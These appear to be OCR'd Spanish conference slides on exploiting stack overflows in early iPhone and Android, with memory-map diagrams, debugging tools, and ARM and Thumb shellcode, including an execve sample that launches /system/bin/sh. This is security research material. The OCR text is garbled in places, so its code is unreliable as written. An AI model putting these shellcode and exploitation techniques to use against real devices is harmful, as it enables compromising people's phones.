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Introduccidn

Que es un smartphone?
1. No hay deficién estandard de lo que es un smartphone

FIgU ra’ Seguro no es un smartphone

2. Generalmente proveen servicios adicionales a un celular comtin

3. Tres grandes jugadores: Nokia (Symbian), Apple (iPhone) y
RIM (Blackberry)

4. Google Android: el nuevo jugador




Iphone y Android
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Figura: Basados en Unix y Webkit: Compatibles

1. IPhone: Mac OS-X (Darwin 9.4.1)
2. Android: Linux 2.6




Porque atacar smartphones?

Robo de datos personales
Conexién de alta velocidad las 24 horas (3G)

Poca variabilidad
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Poca seguridad




Porque atacar smartphones?

AR

Robo de datos personales

Conexién de alta velocidad las 24 horas (3G)
Poca variabilidad

Poca seguridad

Blanco para el terrorismo

SIS

Figura: Exploit writer (Terrorista)
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Protecciones (Diagrama simplificado)

IPHONE
0x00001000 Contiguo 0x30000000
Codigo (.TEXT) ‘ Datos (DATA) ‘ Heap Pila (Stack) NX | Librerias
ANDROID
0x00008000 Contiguo 0xAFB00000 RANDOM

- -

Codigo (.TEXT) ‘ Datos (.DATA) ‘ Heap

Librerias

‘ Pila (Stack) ‘

Figura: Mapa de memoria




Bug de ejemplo

PhoneX bug
recv’ed

Stack

Buffer

Overflow

Lenght| -~

Figura: Stack overflow b3sico




Herramientas y versiones

Iphone:
MAC-OSX, Darwin 9.4.1, gcc 4.0.1
Debugger: iphonedbg
(http://oss.coresecurity.com/projects/iphonedbg.html)

Android:
android-sdk-linux x86-1.0r1 - Codesourcery arm-2008q1-126 gcc 4.2.3
Debugger: GNU gdb (http://ortegaalfredo.googlepages.com/android)

N




[Phone-tunnel

1. Aplicacién para comunicar la PC con el iphone via TCP a
través del cable USB.

2. Inspirado en el iphuc.

3. Necesita tener instalado el iTunes ya que usa un servicio
provisto por este.

4. Se puede bajar
de:http://oss.coresecurity.com/repo/iphone_tunnel-v1.01.zip




[Phone-tunnel

ITunes i ; ITunes
Apple mobile service Apple mobile service

TCP

Function Calls

PC

IPhone_tunnel.exe

TCP

Figura: Funcionamiento del tunel
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IPhonedbg

e

Aplicacién para debuggear procesos.
En las fases iniciales se usé al "weaselcomo guia.

La interfaz estd basada en el "ntds.exe” de Windows.

Se puede bajar de:
http://oss.coresecurity.com /repo/iphonedbg-v1.01.zip




Explotacion

Jump!

iphone exploiting

Libs

Stack

0x30000000

Jmp sp
mprotect
Jmp to: Set RO
Jmp to: Set R1

Jmp to: Set R2

Figura: Exploitacién de iphone
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Explotacion

Android exploiting
Vv\ 0xBF000000
Random!

Stack

Overflow

Jmp sp

Heap

0x40000000

Figura: Exploitacion de android
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Compatibilidad binaria

int execve(cont char *filename, char *const argv[], char *const envp[]);

' Ro | R1 | R2 | R3 |-| R7 || R12|

% B
ssize_t write(int fd, const void *buf, size_t count);

T w

| Ro | R1 | R2 | R3 || R7 || Ri2

ﬁ' ”

Figura: Ejemplos de syscalls




Shellcode Android/Iphone

char shellcode[]=
// sys-write (...)

"\ x0f\x80\xa0\xel” // mov r8,pc

"\ x04\x70\xa0\xe3" // mov r7,#4 (en r7 esta el # de syscall)
"\ x00\x00\xa0\xe3” // mov r0,#0 //stdout

"\ x08\x10\xa0\xel” // mov rl,r8 rl—>pc

"\x2C\x10\x81\xe2” // add rl,rl, #0x2C

"\ x0e\x20\xa0\xe3” // mov r2,0x10 (size)

"\ x07\xCO0\xa0\xel” // mov rl2,r7 //compat iphone

"\ x80\x00\x00\ xef” // svc 0x00000000

// sys-exit(1)

"\ x01\x00\xa0\xe3"” // mov r0,#1

"\ x01\x70\xa0\xe3” // mov r7,#1 (en r7 esta el # de syscall)
"\ x08\x80\xa0\xel” // NOP (mov r8,r8)

"\ x07\xCO0\xa0\xel” // mov rl2,r7 //compat iphone

"\ x80\x00\x00\ xef” // svc 0x00000000

hola_loco.._!\n\x00";
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Shellcode Android/Iphone THUMB

shellcode . c

char shellcodeThumb[] =

//write ()
"\ x46\xf8" //mov r8, pc (Get EIP)
"\x20\x02" //mov r0,#2 (stderr)
"\x27\x04" // mov r7,#4 (syscall_write)
"\x46\x41" // mov rl,r8 (string)
"\x31\x14" // add rl,#0x14
"\x22\x10" // mov r2,#0x10 (size)
"\x46\xbc” // mov r12,r7 (compat iphone)
"\ xdf\x80" // svc #0x80

//exit(1)
"\x21\x01" // mov rl ,#1
"\ x27\x01" // mov r7 ,#1 (sys_exit)
"\x46\xbc” // mov rl2,r7 (compat iphone)
"\ xdf\x80" // svc #0x80

"hola—-loco_.__!1\n\x00";

(Sin ceros!)
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Shellcode Android/Iphone ExecVE

_start:
b code_start
arg0: .ascii " /system/bin/sh\x00"
argl: Lascii "—c\x00"
arg2: .ascii " /system/bin/service\x00"
env: .ascii "\x00\x00\x00\x00\x00\x00"

code_start:
mov r8 , pc
sub r0,r8,#100 Qarg0
sub rl,r8,#85 Qargl
sub r2,r8,#82 (@Qarg2
sub r3,r8,#30 @env
sub r4 ,r8,#24 Qarray0

str r0,[r4]
add r4,r4 #4 Qarrayl
str rl ,[r4]
add r4 ,r4 ,#4 Qarray2
str r2 ,[ré4]

sub rl,r8,#24 Qarray0

sub r2,r8,#30 Qenv

mov r7,#11 ©@compat iphone
mov rl2,#59

svc #0x01010101
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Demol!

Figura: Demo-time!
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Preguntas finales?

1. CORE-2008-0124: Multiple vulnerabilities in Google's Android
SDK : Exploit para el formato BMP

2. CORE-2008-0603: iPhone Safari JavaScript alert Denial of
Service: Bug del servicio webcore




Preguntas finales?
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